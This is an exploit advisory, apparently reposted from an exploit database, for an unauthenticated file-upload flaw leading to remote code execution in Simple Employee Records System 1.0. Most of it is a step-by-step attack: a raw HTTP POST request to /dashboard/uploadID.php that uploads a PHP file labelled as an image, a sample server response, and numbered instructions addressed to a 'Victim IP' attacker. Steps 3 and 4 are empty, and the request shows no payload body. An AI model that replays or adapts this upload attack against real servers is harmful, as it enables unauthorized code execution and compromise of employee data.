Simple Employee Records System 1.0 Shell Upload

Simple Employee Records System version 1.0 suffers from an unauthenticated remote shell upload vulnerability.

MD5 | d0eef29666b46dd7390d7081cb53a6e9

# Exploit Title: Simple Employee Records System - File Upload RCE 
# Date: 2021-02-25
# Exploit Author: [email protected]
# Vendor Homepage:
# Software Link:
# Version: v1.0
# Tested on: Ubuntu 20.04.2

http://IP/dashboard/uploadID.php can be used to upload .php files to
'/uploads/employees_ids/' without authentication.


1) Make the following Request changing the "Host:" to your Victim IP.

POST /dashboard/uploadID.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
Content-Length: 267
DNT: 1
Connection: close

Content-Disposition: form-data; name="employee_ID"; filename="cmd2.php"
Content-Type: image/png

2) You will get the response with the randomized name of the uploaded
file (upload_filename).

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 25 Feb 2021 19:17:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 77

3) Your file will be located in:

4) In this example, to run commands:

Related Posts